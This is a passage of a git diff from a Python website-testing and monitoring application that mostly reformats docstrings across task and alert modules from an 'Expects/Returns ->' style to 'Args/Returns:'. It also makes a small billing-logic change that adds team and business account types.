     {resource}_allowed has not been reached or 
     if account.type is 'cloud'.
 
-    Expects: {
+    Args:
         'account_id'  : <str>,
         'resource'    : <str> 'scan', 'test', 'caserun', etc
-    }
-
-    Returns: Bool, True if resource was incremented.
+    
+    Returns:
+        bool, True if resource was incremented.
     """
 
     # get account
@@ -105,10 +105,11 @@ def check_and_increment_resource(account_id: str, resource: str) -> bool:
 
     # define defaults
     success = False
-    charge_list = ['caseruns', 'flowruns', 'scans', 'tests']
+    charge_list = ['caseruns', 'scans', 'tests']
+    cloud_types = ['cloud', 'team', 'business']
 
     # handle non-paid, cloud accounts
-    if account.type != 'cloud':
+    if account.type not in cloud_types:
 
         # check allowance
         if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
@@ -119,7 +120,7 @@ def check_and_increment_resource(account_id: str, resource: str) -> bool:
             success = True
     
     # handle paid, cloud accounts
-    if account.type == 'cloud':
+    if account.type in cloud_types:
 
         # increment chargable resources
         if resource in charge_list:
@@ -158,11 +159,11 @@ def check_location(location: str) -> bool:
     Determines if task should be executed based on 
     passed location and current system location (settings.LOCATION). 
 
-    Expects: {
+    Args:
         'location': str
-    }
-
-    Returns: bool (True if task should run)
+    
+    Returns:
+        bool (True if task should run)
     """
 
     # compare location to system
@@ -178,11 +179,11 @@ def update_schedule(task_id: str=None) -> None:
     """
     Helper function to update Schedule.time_last_run
 
-    Expects: {
+    Args:
         task_id: str
-    }
-
-    Returns: None
+    
+    Returns:
+        None
     """
     if task_id:
         try:
@@ -201,11 +202,11 @@ def add_scan_system_data(scan: object=None, kwargs: dict={}) -> dict:
     """
     Helper function to build system for passed `Scan`.
 
-    Expects: {
+    Args:
         'scan': obj
-    }
-
-    Returns: `Scan`
+    
+    Returns:
+        `Scan`
     """
 
     # build system data
@@ -238,13 +239,13 @@ def call_local_task_by_name(
     """ 
     Helper method to dynamically re-execute local tasks.
 
-    Expects: {
+    Args:
         'task_name' : str,
         'kwargs'    : dict,
         'task_id'   : str
-    }
-
-    Returns `task_name.apply_async(...)`
+    
+    Returns:
+        `task_name.apply_async(...)`
     """
 
     task_func = globals()[task_name]
@@ -466,12 +467,11 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
     Takes a newly created `Site`, initiates a Crawl and 
     initial `Scan` for each crawled page
 
-    Expects: {
+    Args:
         site_id: str, 
         configs: dict
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # getting site and updating for time_crawl_start
@@ -536,12 +536,11 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
     Takes an existing `Site`, initiates a new Crawl and 
     initial `Scan` for each newly added page
 
-    Expects: {
+    Args:
         site_id: str, 
         configs: dict
-    }
     
-    Returns -> None
+    Returns: None
     """
     
     # getting site and updating for time_crawl_start
@@ -625,13 +624,12 @@ def update_site_and_page_info(
     Updates the site and or page `latest_scan` & `latest_test` info 
     depending on scope.
 
-    Expects: {
+    Args:
         "resource" : str (OPTIONAL),
         "site_id"  : str (OPTIONAL),
         "page_id"  : str (OPTIONAL)
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # defaults
@@ -770,11 +768,10 @@ def update_scan_score(self, scan_id: str) -> None:
     Method to calculate the average health score and update 
     for the passed scan_id
 
-    Expects: {
+    Args:
         'scan_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
     
     # setting defaults
@@ -815,16 +812,15 @@ def scan_page_bg(
     Runs all the requested `Scan` components 
     of the passed `Scan`.
 
-    Expects: {
+    Args:
         scan_id    : str, 
         test_id    : str, 
         alert_id   : str, 
         configs    : dict,
         flowrun_id : str,
         node_index : str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
     
     # get scan object
@@ -896,16 +892,15 @@ def create_scan(
     Runs a `Scan` using Scanner.build_scan() 
     where each component is run in sequence.
 
-    Expects: {
+    Args:
         scan_id         : str,
         page_id         : str, 
         type            : list,
         alert_id        : str, 
         configs         : dict,
         tags            : list,
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # get scan if scan_id present
@@ -941,7 +936,7 @@ def create_scan_bg(self, **kwargs) -> None:
     Creates 1 or more `Scans` depending on 
     the scope (page, site or account). Used with `Schedules`
 
-    Expects: {
+    Args:
         'scope'         : str
         'resources'     : list
         'account_id'    : strx
@@ -952,9 +947,8 @@ def create_scan_bg(self, **kwargs) -> None:
         'task_id'       : str,
         'flowrun_id'    : str,
         'node_index     : str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # get data from kwargs
@@ -1112,16 +1106,15 @@ def run_html_and_logs_bg(
     """ 
     Runs the html & logs components of the passed `Scan`
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str,
         node_index  : str,
         **kwargs
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # sleeping random for DB 
@@ -1186,16 +1179,15 @@ def run_vrt_bg(
     """ 
     Runs the VRT component of the passed `Scan`
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str,
         node_index  : str,
         **kwargs
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # sleeping random for DB 
@@ -1260,16 +1252,15 @@ def run_lighthouse_bg(
     """ 
     Runs the lighthouse component of the passed `Scan`
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str,
         node_index  : str,
         **kwargs
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # sleeping random for DB 
@@ -1334,16 +1325,15 @@ def run_yellowlab_bg(
     """ 
     Runs the yellowlab component of the passed `Scan`
 
-    Expects: {
+    Args:
         scan_id     : str, 
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str,
         node_index  : str,
         **kwargs
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # sleeping random for DB 
@@ -1408,15 +1398,14 @@ def run_test(
     Primary executor for running a `Test`.
     Compatible with `FlowRuns`
 
-    Expects: {
+    Args:
         test_id     : str, 
         alert_id    : str,
         flowrun_id  : str,
         node_index  : str,
         **kwargs
-    }
     
-    Returns -> None
+    Returns: None
     """
     # sleeping random for DB 
     time.sleep(random.uniform(2, 6))
@@ -1523,7 +1512,7 @@ def create_test(
     Creates a `post_scan` if necessary, waits for completion,
     and runs a `Test`
 
-    Expects: {
+    Args:
         test_id     : str,
         page_id     : str, 
         alert_id    : str, 
@@ -1535,9 +1524,8 @@ def create_test(
         threshold   : float,
         flowrun_id  : str,
         node_index  : str
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # setting defaults
@@ -1757,7 +1745,7 @@ def create_test_bg(self, **kwargs) -> None:
     Depending on the scope, run create_test() for 
     all requested pages.
 
-    Expects: {
+    Args:
         scope         : str
         resources     : list
         account_id    : str
@@ -1772,9 +1760,8 @@ def create_test_bg(self, **kwargs) -> None:
         task_id       : str
         flowrun_id    : str
         node_index    : str
-    }
     
-    Returns -> None
+    Returns: None
     """
     
     # get data
@@ -1961,14 +1948,13 @@ def create_report(
     Generates a new PDF `Report` of the requested `Page`
     and runs the associated `Alert` if requested
 
-    Expects: {
+    Args:
         page_id       : str, 
         alert_id      : str,
         flowrun_id    : str
         node_index    : str
-    }
     
-    Returns -> None
+    Returns: None
     """
     
     # get page
@@ -2020,7 +2006,7 @@ def create_report_bg(**kwargs) -> None:
     """
     Creates new `Reports` for the requested `Pages`
 
-    Expects: {
+    Args:
         'scope'         : str,
         'resources'     : str
         'account_id'    : str
@@ -2030,7 +2016,7 @@ def create_report_bg(**kwargs) -> None:
         'node_index'    : str
     }
      
-    Returns -> None
+    Returns: None
     """
 
     # get data
@@ -2149,16 +2135,15 @@ def create_auto_cases_bg(
     """ 
     Generates new `Cases` for the passed site.
 
-    Expects: {
+    Args:
         site_id    : str,
         process_id : str,
         start_url  : str,
         max_cases  : int,
         max_layers : int,
         configs    : dict
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # checking location
@@ -2203,12 +2188,11 @@ def case_pre_run_bg(
     """ 
     Runs Caser.pre_run() for the passed case_id
 
-    Expects: {
+    Args:
         case_id    : str,
         process_id : str,
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # get objects
@@ -2245,14 +2229,13 @@ def run_case(
     """
     Runs a CaseRun.
 
-    Expects: {
+    Args:
         caserun_id  : str, 
         alert_id    : str,
         flowrun_id  : str,
         node_index  : str
-    }
     
-    Returns -> None
+    Returns: None
     """
     
     # get caserun
@@ -2280,7 +2263,7 @@ def create_caserun_bg(**kwargs) -> None:
     """ 
     Creates and or runs a CaseRun.
 
-    Expects: {
+    Args:
         caserun_id    : str, 
         resources     : list, 
         scope         : str, 
@@ -2292,9 +2275,8 @@ def create_caserun_bg(**kwargs) -> None:
         task_id       : str,
         flowrun_id    : str,
         node_index    : str
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # get data
@@ -2450,7 +2432,7 @@ def create_flowrun_bg(**kwargs) -> None:
     """ 
     Creates and runs a FlowRun.
 
-    Expects: {
+    Args:
         flow_id       : str, 
         resources     : list, 
         scope         : str, 
@@ -2458,9 +2440,8 @@ def create_flowrun_bg(**kwargs) -> None:
         alert_id      : str,
         configs       : dict,
         task_id       : str
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # get data
@@ -2583,18 +2564,16 @@ def create_issue(
     Creates and `Issue` for each passed obj, using either 
     passed data or Issuer.build_issue()
 
-    Expects: {
+    Args:
         'account_id'    : str, 
         'object_id'     : str,
         'title'         : str,
         'details'       : str,
         'generate'      : bool
-    }
-
-    Returns: {
+    
+    Returns:
         'message' : str,
         'success' : bool
-    }
     """
 
     # set defaults
@@ -2697,7 +2676,7 @@ def create_issue_bg(
     """ 
     Runs create_issue for each passed `object`
 
-    Expects: {
+    Args:
         'account_id'    : str, 
         'objects'       : list,
         'title'         : str,
@@ -2705,8 +2684,7 @@ def create_issue_bg(
         'generate'      : bool,
         'flowrun_id'    : str,
         'node_index'    : str,
-    }
-
+    
     Returns: None
     """
 
@@ -2769,11 +2747,10 @@ def delete_site_s3_bg(site_id: str) -> None:
     Deletes the directory in s3 bucked associated 
     with passed site
 
-    Expects: {
+    Args:
         'site_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # deleting s3 objects
@@ -2795,12 +2772,11 @@ def delete_page_s3_bg(page_id: str, site_id: str) -> None:
     Deletes the directory in s3 bucked associated 
     with passed page
 
-    Expects: {
+    Args:
         'site_id': str,
         'page_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # deleting s3 objects
@@ -2822,13 +2798,12 @@ def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
     Deletes the directory in s3 bucked associated 
     with passed scan
 
-    Expects: {
+    Args:
         'scan_id': str,
         'site_id': str,
         'page_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # deleting s3 objects
@@ -2850,13 +2825,12 @@ def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
     Deletes the directory in s3 bucked associated 
     with passed test
 
-    Expects: {
+    Args:
         'test_id': str,
         'site_id': str,
         'page_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # deleting s3 objects
@@ -2878,11 +2852,10 @@ def delete_caserun_s3_bg(caserun_id: str) -> None:
     Deletes the directory in s3 bucked associated 
     with passed test
 
-    Expects: {
+    Args:
         'caserun_id': str,
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # deleting s3 objects
@@ -2904,11 +2877,10 @@ def delete_report_s3_bg(report_id: str) -> None:
     Deletes the file in s3 bucked associated 
     with passed report
 
-    Expects: {
+    Args:
         'report_id': str,
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # get site
@@ -2933,11 +2905,10 @@ def delete_case_s3_bg(case_id: str) -> None:
     Deletes the file in s3 bucked associated 
     with passed case_id
 
-    Expects: {
+    Args:
         'case_id': str,
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # deleting s3 objects
@@ -2959,11 +2930,10 @@ def purge_logs(username: str=None) -> None:
     Deletes all `Logs` associated with the passed "username".
     If "username" is None, deletes all `Logs`.
 
-    Expects: {
+    Args:
         'username': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # delete logs
@@ -2986,10 +2956,9 @@ def reset_account_usage(account_id: str=None) -> None:
     if timezone.now() is the start of the 
     next billing cycle, and resets `Account.usage`
 
-    Expects: {
+    Args:
         'account_id': <str> (OPTIONAL)
-    }
-
+    
     Returns: None
     """
 
@@ -3078,11 +3047,10 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
     Update price for existing stripe Subscription 
     based on new `Account.usage.sites_allowed`
 
-    Expects: {
+    Args:
         'account_id'       : <str> (REQUIRED)   
         'sites_allowed'    : <int> (OPTIONAL)   
-    }
-
+    
     Returns: None
     """
 
@@ -3169,12 +3137,11 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     Deletes all `Tests`, `Scans`, `CaseRuns`, `FlowRuns`,
     `Logs`, `Issues`, and `Processes` that have reached expiry
 
-    Expects: {
+    Args:
         account_id   : str, 
         days_to_live : int
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # calculate max dates
@@ -3237,7 +3204,7 @@ def data_retention() -> None:
     Helper task for looping through each account and deleting old resources using 
     delete_old_resources()
 
-    Returns -> None
+    Returns: None
     """
 
     # get all accounts
@@ -3264,11 +3231,10 @@ def delete_admin_sites(days_to_live: int=1) -> None:
     Delete all admin sites which are older 
     than 'days_to_live'
 
-    Expects: {
+    Args:
         'days_to_live': int 
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # calculate max date
@@ -3294,11 +3260,10 @@ def create_prospect(user_email: str=None) -> None:
     Sends an API request to Cursion Landing which 
     creates a new `Prospect`
 
-    Expects: {
+    Args:
         'user_email': str
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     if settings.MODE == 'selfhost':
@@ -3380,13 +3345,12 @@ def create_report_export_bg(report_id: str=None, email: str=None, first_name: st
     """ 
     Creates and exports a Cursion landing report
 
-    Expects: {
+    Args:
         report_id   : str, 
         email       : str, 
         first_name  : str
-    }
     
-    Returns -> None
+    Returns: None
     """
 
     # create and export 
@@ -3407,11 +3371,10 @@ def send_invite_link_bg(member_id: str) -> None:
     """ 
     Sends an invite link to the requested member
 
-    Expects: {
+    Args:
         'member_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
     
     # get member
@@ -3431,11 +3394,10 @@ def send_remove_alert_bg(member_id: str) -> None:
     """ 
     Sends a 'removed' email to the requested member
 
-    Expects: {
+    Args:
         'member_id': str
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # get member
@@ -3462,15 +3424,14 @@ def send_phone_bg(
     """ 
     Run `Alerts.send_phone` as a backgroud task
 
-    Expects: { 
+    Args: 
         'account_id'    : str, 
         'objects'       : list,
         'phone_number'  : str,
         'body'          : str,
         'flowrun_id'    : str,
         'node_index'    : str,
-    }
-
+    
     Returns: None
     """
 
@@ -3518,14 +3479,13 @@ def send_slack_bg(
     """ 
     Run `Alerts.send_slack` as a backgroud task
 
-    Expects: { 
+    Args: 
         'account_id'    : str, 
         'objects'       : list,
         'body'          : str,
         'flowrun_id'    : str,
         'node_index'    : str,
-    }
-
+    
     Returns: None
     """
 
@@ -3630,7 +3590,7 @@ def send_webhook_bg(
     """ 
     Run `Alerts.sendgrid_email` as a backgroud task
 
-    Expects: { 
+    Args: 
         'account_id'    : str,
         'objects'       : list,
         'request_type'  : str,
@@ -3639,8 +3599,7 @@ def send_webhook_bg(
         'payload'       : str,
         'flowrun_id'    : str,
         'node_index'    : str,
-    }
-
+    
     Returns: None
     """
 
@@ -3699,7 +3658,7 @@ def migrate_site_bg(
     """ 
     Runs the WP site migration process.
 
-    Expects: {
+    Args:
         login_url: str, 
         admin_url: str,
         username: str,
@@ -3714,9 +3673,8 @@ def migrate_site_bg(
         wait_time: int,
         process_id: str,
         driver: str,
-    }
-
-    Returns -> None
+    
+    Returns: None
     """
 
     # init wordpress for selenium
diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index bbd90a9c..0685348d 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -11,7 +11,7 @@ class Alerter():
     """ 
     Build and execute `Alert` logic generated by a user.
 
-    Expects: {
+    Args:
         'alert_id'   : str,
         'object_id'  : str,
         'expressions' : list
@@ -21,7 +21,7 @@ class Alerter():
     - Use `Alerter.get_object()` to set self.object
     - Use `Alerter.build_expressions()` to get self.exp_string
 
-    Returns -> None
+    Returns: None
     """
 
 
@@ -50,7 +50,7 @@ def get_object(self) -> bool:
         Tries to get the focus object from self.object_id - if found 
         will set self.object and self.use_exp
 
-        Returns -> None or object
+        Returns: None or object
         """
 
         if self.task_type == 'scan':
@@ -104,7 +104,7 @@ def build_expressions(self) -> None:
         Loop through the self.expressions
         and rebuilds into self.exp_string
 
-        Returns -> self.exp_string
+        Returns: self.exp_string
         """
                 
         # begin iteration
@@ -170,7 +170,7 @@ def build_actions(self) -> None:
         Loop through the alert.actions
         and rebuilds into self.act_string
 
-        Returns -> self.act_string
+        Returns: self.act_string
         """
 
         # defaults
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 428b9869..6889fd5d 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -22,13 +22,11 @@ def send_reset_link(email: str=None) -> dict:
     Sends a reset password email to the User with 
     the passed 'email'
 
-    Expects: {
+    Args:
         'email': str
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # check if User exists
@@ -80,13 +78,11 @@ def send_invite_link(member: object=None) -> dict:
     """
     Sends an invite email to the passed `Member`
 
-    Expects: {
+    Args:
         'member': obj
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # check if member exists as status "pending"
@@ -142,13 +138,11 @@ def send_remove_alert(member: object=None) -> dict:
     Sends a "removed" email to the passed `Member` and 
     deletes member from DB 
 
-    Expects: {
+    Args:
         'member': obj
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # check if member exists as status "removed"
@@ -202,15 +196,13 @@ def create_exp(obj: object=None, alert: object=None) -> dict:
     Builds an expression list (exp_list = []) based 
     on the passed 'obj' and `Alert`.
 
-    Expects: {
+    Args:
         'obj'   :  object (Scan, Test, CaseRun, FlowRun),
         'alert' :  object
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'exp_list': list, 
         'exp_str' : str,
-    }
     """
 
     # seting defaults
@@ -279,13 +271,12 @@ def transpose_data(string: str=None, obj: object=None, secrets: list=[]) -> dict
     """ 
     Using 'definitions.py' replaces all vairables with definition data.
 
-    Expects: {
+    Args:
         'string'    : str (to be transposed)
         'obj'       : object (Scan, Test, CaseRun, Report, Issue),
         'secrets'   : list (account secrets)
-    }
-
-    Returns -> transposed string
+    
+    Returns: transposed string
     """
 
     # decryption helper
@@ -339,15 +330,13 @@ def get_obj(object_id: str=None) -> dict:
     Tries to find an object that matches theh passed 'object_id'.
     (Scan, Test, CaseRun, FlowRun, Report, Issue)
 
-    Expects: {
+    Args:
         'object_id':  str,
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'obj'      : object,
         'obj_type' : str,
         'success'  : bool
-    }
     """
 
     # init obj
@@ -416,15 +405,13 @@ def alert_email(email: str=None, alert_id: str=None, object_id: str=None) -> dic
     Sends an alert email to the User with 
     the passed 'email'
 
-    Expects: {
+    Args:
         'email'         : str,
         'alert_id' : str,
         'object_id'     : str
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # check if data is present
@@ -512,15 +499,13 @@ def alert_report_email(email: str=None, alert_id: str=None, object_id: str=None)
     Sends an alert report email to the User with 
     the passed 'email'
 
-    Expects: {
+    Args:
         'email'         : str,
         'alert_id' : str,
         'object_id'     : str
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # check if data is present
@@ -591,15 +576,13 @@ def alert_phone(phone_number: str=None, alert_id: str=None, object_id: str=None)
     Sends an SMS alert to the passed 'phone_number' 
     with the `Alert` data 
 
-    Expects: {
+    Args:
         'phone_number'    : str, 
         'alert_id'        : str, 
         'object_id'       : str,
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # checking if data is present
@@ -670,14 +653,12 @@ def alert_slack(alert_id: str=None, object_id: str=None) -> dict:
     """
     Sends a Slack alert with the `Alert` data 
 
-    Expects: {
+    Args:
         'alert_id'   : str, 
         'object_id'  : str,
-    }
-
-    Returns -> data: {
+    
+    Returns: {
         'success': bool
-    }
     """
 
     # check if data is present
@@ -772,12 +753,10 @@ def sendgrid_email(
             'signature':    str,
             'greeting':     str,
         }
-    }
-
-    Returns: {
+    
+    Returns:
         'success': bool,
         'message': str
-    }
     """
 
     # defining data
@@ -892,17 +871,15 @@ def send_phone(
     Using Twilio, sends an SMS with the passed 'body' to the passed 
     'phone_number' (single or comma seperated string of phone numbers)
 
-    Expects: { 
+    Args: 
         'account_id'    : str, 
         'object_id'     : str,
         'phone_number'  : str,
         'body'          : str,
-    }
-
-    Returns: {
+    
+    Returns:
         'success': bool,
         'message': str
-    }
     """
 
     if account_id and object_id:
@@ -965,16 +942,14 @@ def send_slack(
     Using Slack, sends an message with the passed 'body'
     to the passed 'account'.channel
 
-    Expects: { 
+    Args: 
         'account_id' : str, 
         'object_id'  : str,
         'body'       : str,
-    }
-
-    Returns: {
+    
+    Returns:
         'success': bool,
         'message': str
-    }
     """
 
     if account_id and object_id:
@@ -1037,19 +1012,17 @@ def send_webhook(
     Sends a GET or POST request to the passed 'url'
     with the passed 'payload' & 'heasders'
 
-    Expects: {
+    Args:
         'account_id'   : str, 
         'object_id'    : str,
         'request_type' : str, 
         'url'          : str, 
         'headers'      : dict,
         'payload'      : dict,
-    }
-
-    Returns: {
+    
+    Returns:
         'success': bool,
         'message': str
-    }
     """
 
     # get account & secrets
diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py
index e36dbfb4..7563ca76 100644
--- a/app/api/utils/archive/caser.py
+++ b/app/api/utils/archive/caser.py
@@ -19,14 +19,14 @@
 #     """ 
 #     Run a `CaseRun` for a specific `Site`.
 
-#     Expects: {
+#     Args:
 #         'caserun' : object,
 #     }
 
 #     - Use `Caser.run_s()` to run with selenium
 #     - Use `Caser.run_p()` to run with puppeteer
 
-#     Returns -> None
+#     Returns: None
 #     """
 
 
@@ -158,7 +158,7 @@
 #         Grabs & uploads a screenshot of the `page` 
 #         passed in the params. 
 
-#         Returns -> `image_url` <str:remote path to image>
+#         Returns: `image_url` <str:remote path to image>
 #         '''
 
 #         # setup boto3 configurations
@@ -200,7 +200,7 @@
 #         Grabs & uploads a screenshot of the `page` 
 #         passed in the params. 
 
-#         Returns -> `image_url` <str:remote path to image>
+#         Returns: `image_url` <str:remote path to image>
 #         '''
 
 #         # setup boto3 configurations
@@ -242,11 +242,11 @@
 #         Cleans the passed `exception` of any 
 #         system refs and unnecessary info
 
-#         Expects: {
+#         Args:
 #             "exception": str
 #         }
 
-#         Returns -> str
+#         Returns: str
 #         """
 
 #         split_e = str(exception).split('Stacktrace:')
@@ -262,11 +262,11 @@
 #         Cleans the passed `exception` of any 
 #         system refs and unnecessary info
 
-#         Expects: {
+#         Args:
 #             "exception": str
 #         }
 
-#         Returns -> str
+#         Returns: str
 #         """
 
 #         split_e = str(exception).split('Stacktrace:')
@@ -281,7 +281,7 @@
 #         """
 #         Runs the self.caserun using selenium as the driver
 
-#         Returns -> None
+#         Returns: None
 #         """
 
 #         print(f'beginning caserun for {self.site_url}  \
@@ -600,7 +600,7 @@
 #         """
 #         Runs the self.caserun using pupeteer as the driver
 
-#         Returns -> None
+#         Returns: None
 #         """
 
 #         print(f'beginning caserun for {self.site_url}  \
diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py
index 389188a1..42227fcf 100644
--- a/app/api/utils/archive/driver_p.py
+++ b/app/api/utils/archive/driver_p.py
@@ -11,12 +11,12 @@
 #     """ 
 #     Starts a new puppeteer driver instance
 
-#     Expects: {
+#     Args:
 #         'window_size' : str, 
 #         'wait_time'   : int
 #     } 
 
-#     Returns -> driver object
+#     Returns: driver object
 #     """
 
 #     # parsing window sizes
@@ -71,12 +71,12 @@
 #     for either the page to fully load or the max_wait_time
 #     to expire before returning.
 
-#     Expects: {
+#     Args:
 #         'page'          : object, 
 #         'max_wait_time' : int
 #     }
 
-#     Returns -> page <pypt:instance>
+#     Returns: page <pypt:instance>
 #     """
 
 #     print(f'waiting for page load or {str(max_wait_time)} seconds')
@@ -100,7 +100,7 @@
 #     Spins up a puppeteer driver instance and
 #     tests to ensure it can access the browser and internet
 
-#     Returns -> None
+#     Returns: None
 #     """
 
 #     print("Testing puppeteer instalation and integration...")
@@ -145,12 +145,12 @@
 #     'url' and records the page source and any 
 #     present console errors & warnings
 
-#     Expects: {
+#     Args:
 #         url     : str, 
 #         configs : dict
 #     }
     
-#     Returns -> data: {
+#     Returns: {
 #         'html' : str, 
 #         'logs' : dict,
 #     }
diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py
index db57392a..9682d236 100644
--- a/app/api/utils/archive/imager.py
+++ b/app/api/utils/archive/imager.py
@@ -90,7 +90,7 @@
 #         """
 #         Checks to see if the current time exceedes the alotted timeout. 
         
-#         Returns -> True if timeout exceeded
+#         Returns: True if timeout exceeded
 #         """
 #         current = datetime.now()
 #         diff = current - start_time
@@ -107,7 +107,7 @@
 #         """
 #         Joins img1 and im2 vertically and saves as "new_img"
         
-#         Returns -> new_img <Image>
+#         Returns: new_img <Image>
 #         """
 #         im1 = I.open(im1)
 #         im2 = I.open(im2)
@@ -124,7 +124,7 @@
 #         Upload image to s3, save info as image_obj,
 #         add image_obj to image_array, & remove image file
 
-#         Returns -> None
+#         Returns: None
 #         """
 #         remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
 #         root_path = settings.AWS_S3_URL_PATH
@@ -160,11 +160,11 @@
 #         Grabs full length screenshots of the website and uploads 
 #         them to s3.
 
-#         Expects: {
+#         Args:
 #             'driver': object
 #         }
 
-#         Returns -> self.image_array list
+#         Returns: self.image_array list
 #         """
 
 #         # initialize driver if not passed as param
@@ -310,7 +310,7 @@
 #         Using Puppeteer, grabs full length screenshots of the website and uploads 
 #         them to s3.
 
-#         Returns -> self.image_array list
+#         Returns: self.image_array list
 #         """
 
 #         @sync_to_async
@@ -507,12 +507,12 @@
 #             - PIL ImageChop Differences, Ratio
 #             - cv2 ORB Brute-force Matcher, Ratio
 
-#         Expects: {
+#         Args:
 #             'test': object, 
 #             'index': int,
 #         }
 
-#         Returns -> data: {
+#         Returns: {
 #             'average_score' : float(0-100),
 #             'images'        : dict,
 #         }
@@ -588,7 +588,7 @@
 #                 # build two new images with differences highlighted
 #                 def highlight_diffs(pre_img_path, post_img_path, index):
 #                     '''
-#                     Returns -> two new images with highlights & float(ssim_score)
+#                     Returns: two new images with highlights & float(ssim_score)
 #                     '''
 #                     # Load the images
 #                     image1 = cv2.imread(pre_img_path)
diff --git a/app/api/utils/archive/wordpress_p.py b/app/api/utils/archive/wordpress_p.py
index 2b53dce7..7897f61f 100644
--- a/app/api/utils/archive/wordpress_p.py
+++ b/app/api/utils/archive/wordpress_p.py
@@ -60,7 +60,7 @@
 #         ''' 
 #             Tries to log into a WP site with given credentials.
 
-#             returns --> True / False 
+#             Returns: True / False 
         
 #         '''
 
@@ -413,7 +413,7 @@
 #         ''' 
 #             Launches the migration plugin once Activated.
 
-#             returns --> True / False 
+#             Returns: True / False 
         
 #         '''
 
@@ -456,7 +456,7 @@
 #             and begins updating the associated `Process` with data
 #             from the page.
 
-#             returns --> True / False 
+#             Returns: True / False 
         
 #         '''
 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 2fc73c37..5796cb68 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -13,7 +13,7 @@ class AutoCaser():
     """ 
     Generate new `Cases` for the passed 'site'.
 
-    Expects: {
+    Args:
         'site'        : object,
         'process'     : object,
         'start_url'   : str,
@@ -24,7 +24,7 @@ class AutoCaser():
 
     Use `AutoCaser.build_cases()` to generate new `Cases`
 
-    Returns -> None
+    Returns: None
     """
 
 
@@ -403,7 +403,7 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
 
     def record_new_element(self, elem: object, sub_elements: list) -> dict:
         """
-        returns -> {
+        Returns: {
             'sub_elements': [],
             'run': bool,
             'added': bool,
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 30be9b9e..24adfba9 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -22,7 +22,7 @@ class Caser():
     Run a `CaseRun` for a specific `Site` or 
     gather element info for new `Case`.
 
-    Expects: {
+    Args:
         'caserun'       : object,
         'case'          : object,
         'process'       : object,
@@ -33,7 +33,7 @@ class Caser():
     - Use `Caser.run()` to run Case as CaseRun
     - Use `Caser.pre_run()` to gather element info for a new Case 
 
-    Returns -> None
+    Returns: None
     """
 
 
@@ -140,11 +140,11 @@ def transpose_data(self, string: str=None) -> str:
         Using replaces all vairables in string with 
         account `Secrets`.
 
-        Expects: {
+        Args:
             'string' : str (to be transposed)
         }
 
-        Returns -> transposed string
+        Returns: transposed string
         """
 
         # decryption helper
@@ -224,7 +224,7 @@ def compare_images(self, index: int=None, type: str=None) -> None:
         Using Imager.caserun_vrt compare the step.screeshot 
